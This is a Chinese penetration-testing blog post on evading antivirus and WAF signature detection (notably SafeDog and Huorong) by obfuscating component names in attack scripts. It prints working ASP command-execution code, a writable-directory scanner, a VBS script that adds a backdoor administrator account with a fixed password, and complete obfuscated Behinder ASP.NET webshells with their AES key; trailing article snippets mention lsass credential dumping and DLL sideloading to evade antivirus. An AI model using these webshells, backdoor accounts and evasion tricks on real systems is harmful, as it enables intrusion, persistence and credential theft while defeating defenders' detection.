常用渗透脚本的特征免杀方式

VSole2022-08-15 08:34:15

0x01 前言

我们在渗透测试过程中时常会用到一些脚本,而现在大部分的WAF或杀软都会根据一些危险组件名、特定字符做为特征来查杀,只要找到其特征,我们可以使用简单的混淆、拼接等方式来进行免杀。

以下是笔者在以往测试中遇到过的一些,现在记性不太好,有时想找找不到,烦的很...,先记录在这里吧!

0x02 ASP执行命令脚本

这个脚本会被网站安全狗查杀,特征:Shell.Application,当Wscript.shell组件被卸载不可用时就会提示:[Err] ActiveX 部件不能创建对象,这时可尝试用这个组件来执行命令。

<%Set SA = CreateObject("Shell.Application")SA.ShellExecute "cmd.exe"," /c set > C:\NpointSoft\npointhost2.2.0\web\1.txt","C:\NpointSoft\npointhost2.2.0\web","",0%>

这里只需将Shell.Application组件名进行简单的混淆即可免杀,不过得注意安全狗在进行一次扫描后可能会记录该文件的MD5值,需重新创建一个文件才不会查杀。

<%on error resume nextSet SA = CreateObject("She" & "ll.App" & "lication")SA.ShellExecute "C:\windows\system32\cmd.exe"," /c whoami > C:\ProgramData\1.txt","","open",0Response.Write("ok")%>

注:虽然绕过了特征查杀,但【网站防护->行为防护】还是会拦截高危组件的调用和w3wp.exe命令执行等行为,不过这几个选项在默认安装时好像只是记录,并没有阻止,所以还是可以试一下。

0x03 ASP扫可读写脚本

这个脚本会被网站安全狗查杀,特征:Scripting.FileSystemObject,当目标主机磁盘权限设置较为严格时需要用到这个脚本来查找可读写目录,以下几种混淆也会被杀。

"Scripting.FileSystemObject""Script"&"ing.Fil"&"eSyst"&"emObject""sc"&"ript"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t""scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t"

测试过后发现只需将Scripting.FileSystemObject组件名按以下方式混淆下即可免杀,大家也可以自行改变一下位置看下是否也能免杀。

<%'Response.Buffer = FALSEServer.ScriptTimeOut=999999999Set Fso=server.createobject("scri"&"pt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t") %>[...SNIP...]

0x04 VBS添加用户脚本

这个vbs脚本火绒会杀,特征:WSCRIPT.NETWORK,但360并没有杀。当目标主机上安装的有360、火绒和金山毒霸时会拦截添加用户行为,这时可用这个脚本来绕过。

set wsnetwork=CreateObject("WSCRIPT.NETWORK")os="WinNT://"&wsnetwork.ComputerNameSet ob=GetObject(os)Set oe=GetObject(os&"/Administrators,group")Set od=ob.Create("user","betasec")od.SetPassword "pass!@#!23"od.SetInfoSet of=GetObject(os&"/betasec",user)oe.add os&"/betasec"

这里只需将WSCRIPT.NETWORK组件名进行简单的混淆即可免杀。

Const strPassword = "pass!@#!23"Set wsnetwork=CreateObject("WS"&"CR"&"IPT"&"."&"NET"&"WO"&"RK") os="WinNT://"&wsnetwork.ComputerNameSet ob=GetObject(os)Set oe=GetObject(os&"/Administrators,group")Set od=ob.Create("user","betasec")od.SetPassword strPasswordod.SetInfoSet of=GetObject(os&"/betasec",user)oe.add os&"/betasec"

0x05 冰蝎4.0.2-Webshell

冰蝎4.0.2生成的ASP.NET服务端木马也会被安全狗查杀,特征为28行的Assembly虽然已被注释,但还是会被杀,不过我们只需将该特征或整行删除就能过了。

 //byte[] c=Request.BinaryRead(Request.ContentLength);Assembly.Load(Decrypt(c)).CreateInstance("U").Equals(this);

3.0 ASP.NET Webshell:

Hello Administrator!WelCome To Tas9er ASP.NET Console!<html></html>{;}Hello Administrator!WelCome To Tas9er ASP.NET Console!<html></html>{;}<%@ImPoRt NaMeSpAce="System.Reflection"%><%Session[System.Text.Encoding.Default.GetString(Convert.FromBase64String("aw=="))]=System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(49) })+System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(54) })+System.Text.Encoding.Default.GetString(Convert.FromBase64String("YWNhY2MwNWFhZmFmNg=="))+System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(55) });%><%Session["gov"]="https://"+"shanghai.g"+"ov.cn";byte[] govn = Encoding.Default.GetBytes/*gov16*/(Session[Convert.ToInt32(System.Text.Encoding.ASCII.GetString(new byte[1] { (byte)(48) }))] + ""),govTD = Request.BinaryRead/*govvaVRp0zjPmEG*/(Request.ContentLength);Assembly.Load(new System./*govSeosZ*/Security/*govpUQ02bwEb33d2*/.Cryptography/*govEJfw*/./*govrSARoMWEzC9GI*/RijndaelManaged()/*govFcmLIWqMi029kU*/.CreateDecryptor(govn, govn).TransformFinalBlock/*govXAH*/(govTD, Convert.ToInt32(System.Text.Encoding.Default.GetString(Convert.FromBase64String("MA=="))), govTD.Length))./*govTmO*/CreateInstance(System.Text.Encoding.Default./*govXhGE4u0ypGLhc*/GetString(Convert.FromBase64String("VQ==")))/*govG*/.Equals(this);%><%@ PagE LaNguAge="C#" %>

4.0.2 ASP.NET Webshell:

<%@ Page Language="C#" %>    <%@Import Namespace="System.Reflection" %>    <script runat="server">
               private  byte[] Decrypt(byte[] data)        {            string key="e45e329feb5d925b";            data = Convert.FromBase64String(System.Text.Encoding.UTF8.GetString(data));            System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();            aes.Mode = System.Security.Cryptography.CipherMode.ECB;            aes.Key = Encoding.UTF8.GetBytes(key);            aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;            return aes.CreateDecryptor().TransformFinalBlock(data, 0, data.Length);        }        private  byte[] Encrypt(byte[] data)        {            string key = "e45e329feb5d925b";            System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged();            aes.Mode = System.Security.Cryptography.CipherMode.ECB;            aes.Key = Encoding.UTF8.GetBytes(key);            aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7;            return System.Text.Encoding.UTF8.GetBytes(Convert.ToBase64String(aes.CreateEncryptor().TransformFinalBlock(data, 0, data.Length)));        }
    </script>        <%        //byte[] c=Request.BinaryRead(Request.ContentLength);Assembly.Load(Decrypt(c)).CreateInstance("U").Equals(this);                byte[] c=Request.BinaryRead(Request.ContentLength);            string asname=System.Text.Encoding.ASCII.GetString(new byte[] {0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x52,0x65,0x66,0x6c,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2e,0x41,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79});            Type assembly=Type.GetType(asname);              MethodInfo load = assembly.GetMethod("Load",new Type[] {new byte[0].GetType()});              object obj=load.Invoke(null, new object[]{Decrypt(c)});              MethodInfo create = assembly.GetMethod("CreateInstance",new Type[] { "".GetType()});              string name = System.Text.Encoding.ASCII.GetString(new byte[] { 0x55 });              object pay=create.Invoke(obj,new object[] { name });              pay.Equals(this);        %>
免杀system
本作品采用《CC 协议》,转载必须注明作者和本文链接
之后想到了更完美的办法
杀毒测试,两款杀毒软件都报毒。思路1、 简单将shellcode采用aes、base64等方式进行加密。注意此资源文件可放在外部exe加载器中。
C#内存加载实战
2021-12-03 07:37:13
DemoExe代码如下:using System;
前言本篇文章将演示利用隐写术将 Shellcode 隐写入 PNG 图片 RGB 像素中,从而隐藏后门代码,并进行远程加载控制目标主机。Invoke-PSImage -Script .\payload.ps1 -Image .\origin.jpg -Out .\shell.png -Web
0X01起源在攻防演练中通过运行恶意代码连接C2是最常用的手段,但是由于对抗程度的提升。以360、天擎为代表的杀毒软件针对信任链的检测,已经变得愈来愈成熟。这里我们可以理解为,攻击者通过利用"白加黑"这种攻击方法。当攻击者通过社工钓鱼的手段,使得目标下载恶意的文件到目标自己的计算机上,并点击运行白文件时,该文件会在运行时执行恶意DLL。
动态函数PHP中支持一个功能叫 variable function ,变量函数的意思。//最终是system;当一个变量后边带括号,那他就被视作一个函数。编译器会解析出变量的值,然后会去找当前是否存在名为“system()”的函数并执行它。这里就不给实例了,很多案例中都用到了这个特性。也是被疯狂查杀的特征。回调函数回调函数,简单来说就是一个函数不是由我直接调用,而是通过另一个函数去调用它。
在渗透测试中,最常用的方法是通过dump进程lsass.exe,从中获得明文口令和hash,今天分享两个转储lsass方式,目前亲测可过某60 or 某绒。在原理上都是使用API MiniDumpWriteDump,通过comsvcs.dll的导出函数MiniDump实现dump内存。
一篇静态的文章
最近在研究这一块的知识,说到肯定就逃不过沙箱。对于沙箱的通俗理解就是一个安全的箱子,这个箱子能够模拟出软件执行苏需要的环境(如模拟虚拟机环境),通过hook跳转到自己的函数进行行为分析。所以我们的后门文件想要更好的躲避软的查杀,首先肯定要做好反调试才能在对抗软时后顾无忧。本文基于自己学习过程中的一些知识进行了总结,不足之处还请师傅们提出。
知识汇总
2021-08-25 23:11:00
知识汇总
VSole
网络安全专家